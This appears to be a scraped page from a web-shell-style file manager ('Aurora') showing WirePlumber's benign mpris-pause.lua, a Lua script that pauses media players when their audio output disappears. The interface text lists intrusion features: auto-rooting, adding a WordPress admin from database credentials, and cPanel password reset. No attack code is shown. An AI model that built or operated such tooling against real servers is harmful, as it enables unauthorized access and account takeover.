Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
wireplumber
scripts
linking
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: mpris-pause.lua
-- WirePlumber -- -- Copyright © 2025 Pauli Virtanen -- @author Pauli Virtanen <pav@iki.fi> -- -- SPDX-License-Identifier: MIT -- -- Pause media player applications when (one of) their output -- target(s) goes away. cutils = require ("common-utils") lutils = require ("linking-utils") log = Log.open_topic ("s-linking.mpris") mpris = Plugin.find ("mpris") RESCAN_DELAY_MSEC = 1000 function initializeState () -- Delaying rescan while pausing players pending_ops = 0 need_rescan = false -- Links between nodes: links_in [in_node_id] = { out_node_id, ... } links_in = {} links_initialized = false -- Link nodes: link_nodes [link.id] = { in_node_id, out_node_id } link_nodes = {} -- Status script_active = false end -- Get nodes that are (indirectly) linked to `si` by link group -- or links with input direction. Returns table { [node_id] = node, ... } function getLinkedNodes (start_id) local node_om = cutils.get_object_manager ("node") local groups = {} local link_groups = {} log:trace(string.format("start %d", start_id)) -- construct groups based on node.link-group for node in node_om:iterate () do local id = node ["bound-id"] if groups [id] ~= nil then return end local link_group = node.properties ["node.link-group"] local group = nil -- join via link groups if link_group ~= nil then group = groups [link_groups [link_group]] link_groups [link_group] = id end if group == nil then group = {} end group [id] = node groups [id] = group end -- follow links local group = {} local active = { [start_id] = true } while true do local a_id = next(active) if a_id == nil then break end active [a_id] = nil local b_ids = links_in [a_id] if b_ids ~= nil then for b_id in pairs (b_ids) do if group [b_id] == nil and groups [b_id] ~= nil then for k, v in pairs (groups [b_id]) do if group [k] == nil then active [k] = true group [k] = v log:trace(string.format("node %d", k)) end end end end end end return group end -- Track link status. -- -- We need to know what state links were in just before a sink node is -- removed. We rely here on the following facts: -- -- * When node is removed existing links to it are removed by server synchronously -- * Although it appears server notifies link removal *after* the node, use Core sync -- to delay handling link removal after node removal, to be sure -- * event_priority(node-removed, session-item-removed) > event_priority(link-removed) -- then ensures we first handle item removal, then update links function updateLink (in_id, out_id, remove) if links_in [in_id] == nil then links_in [in_id] = {} end if remove then links_in [in_id] [out_id] = nil else links_in [in_id] [out_id] = true end end function updateLinks (links_om) log:debug ("update links") for link in links_om:iterate () do local lprops = link.properties local in_id = tonumber (lprops ["link.input.node"]) local out_id = tonumber (lprops ["link.output.node"]) updateLink (in_id, out_id, false) link_nodes [link.id] = { in_id, out_id } end end function initializeLinks (source) if links_initialized then return end if source == nil then -- postpone to later return end local links_om = source:call ("get-object-manager", "link") updateLinks(links_om) links_initialized = true end link_hook = SimpleEventHook { name = "linking/mpris-pause@track-links", interests = { EventInterest { Constraint { "event.type", "c", "link-added", "link-removed" }, }, }, execute = function (event) local link = event:get_subject () local eprops = event:get_properties () local source = event:get_source () initializeLinks (source) local in_id local out_id local remove = false if eprops ["event.type"] == "link-added" then local lprops = link.properties in_id = tonumber (lprops ["link.input.node"]) out_id = tonumber (lprops ["link.output.node"]) link_nodes [link.id] = { in_id, out_id } elseif link_nodes [link.id] ~= nil then in_id = link_nodes [link.id] [1] out_id = link_nodes [link.id] [2] link_nodes [link.id] = nil remove = true end if in_id == nil or out_id == nil then return end Core.sync(function() updateLink (in_id, out_id, remove) end) end } -- Pause media applications associated with the streams linked to a sink to be removed pause_hook = SimpleEventHook { name = "linking/mpris-pause", before = "linking/linkable-removed", interests = { EventInterest { Constraint { "event.type", "=", "session-item-removed" }, Constraint { "item.node.type", "=", "device" }, Constraint { "item.node.direction", "=", "input" }, }, }, execute = function (event) local players = mpris:call ("get-players") if next(players) == nil then return end -- find clients to handle local si = event:get_subject () local source = event:get_source () local client_om = source:call ("get-object-manager", "client") local node = si:get_associated_proxy ("node") local node_group = getLinkedNodes (tonumber (si.properties ["node.id"])) local client_ids = {} for id, node in pairs (node_group) do local media_class = tostring(node.properties ["media.class"]) if media_class:find ("^Stream/Output") then client_ids [node.properties ["client.id"]] = true end end -- find players to handle local pause_players = {} for client_id in pairs (client_ids) do local client = client_om:lookup { Constraint { "bound-id", "=", client_id, type = "gobject" } } if not client then goto next end log:debug (si, string.format ("node %s removed: was linked to client %s (%s pid %s)", tostring(si.properties ["node.id"]), tostring(client.properties ["application.name"]), tostring(client.properties ["application.id"]), tostring(client.properties ["application.process.id"]))) for _, player in ipairs(players) do local match = false if client.properties ["pipewire.access.portal.app_id"] == nil and player ["flatpak-app-id"] == nil then -- assume non-flatpak apps serve audio from same or child process as MPRIS if player ["pid"] ~= nil then local keys = { "pipewire.sec.pid", "application.process.id" } for _, key in ipairs(keys) do local pid = tonumber (client.properties [key]) if pid ~= nil and mpris:call ("match-pid", player ["pid"], pid) then log:debug (si, string.format(".. match %s %u ~ %u", key, pid, player ["pid"])) match = true end end end elseif client.properties ["pipewire.access.portal.app_id"] == player ["flatpak-app-id"] then local instance_id = client.properties ["pipewire.access.portal.instance_id"] if instance_id == nil then -- Only new Pipewire versions have instance_id log:debug (si, string.format(".. match pipewire.access.portal.app_id = %s", player ["flatpak-app-id"])) match = true elseif instance_id == player ["flatpak-instance-id"] then log:debug (si, string.format(".. match pipewire.access.portal.app_id = %s instance_id = %s", player ["flatpak-app-id"], player ["flatpak-instance-id"])) match = true end end if match then pause_players [player ["name"]] = true end end ::next:: end -- handle players for bus_name in pairs(pause_players) do log:info (si, string.format("node %s removed: pausing linked media player %s", tostring(si.properties ["node.id"]), bus_name)) local op = mpris:call ("pause", bus_name) if op ["result"] == 0 then log:debug ("pause pending") pending_ops = pending_ops + 1 op:connect("notify::result", function (op, pspec) if pending_ops > 0 then pending_ops = pending_ops - 1 end log:debug (string.format("pause completed, res = %d, %d remaining", op ["result"], pending_ops)) if pending_ops == 0 and need_rescan then -- Some players respond to DBus before actually pausing output, -- so add also a small delay Core.timeout_add(RESCAN_DELAY_MSEC, function() log:debug ("continue rescan") source:call ("push-event", "rescan-for-linking", nil, nil) end) end end) end end end } -- Do not perform rescans while we are pausing media players rescan_hook = SimpleEventHook { name = "linking/mpris-pause-disable-rescan", before = "linking/rescan", interests = { EventInterest { Constraint { "event.type", "=", "rescan-for-linking" }, }, }, execute = function (event) if pending_ops > 0 then log:info ("rescan disabled, wait for pending operations") need_rescan = true event:stop_processing () else need_rescan = false end end } function updateEnabled () local enable = Settings.get_boolean ("linking.pause-playback") log:debug (string.format ("enabled: %s", tostring(enable))) if enable and not script_active then local source = Plugin.find ("standard-event-source") initializeState () initializeLinks (source) link_hook:register () pause_hook:register () rescan_hook:register () script_active = true elseif not enable and script_active then link_hook:remove () pause_hook:remove () rescan_hook:remove () if need_rescan then local source = Plugin.find ("standard-event-source") source:call ("push-event", "rescan-for-linking", nil, nil) end initializeState () end end Settings.subscribe ("linking.pause-playback", updateEnabled) updateEnabled ()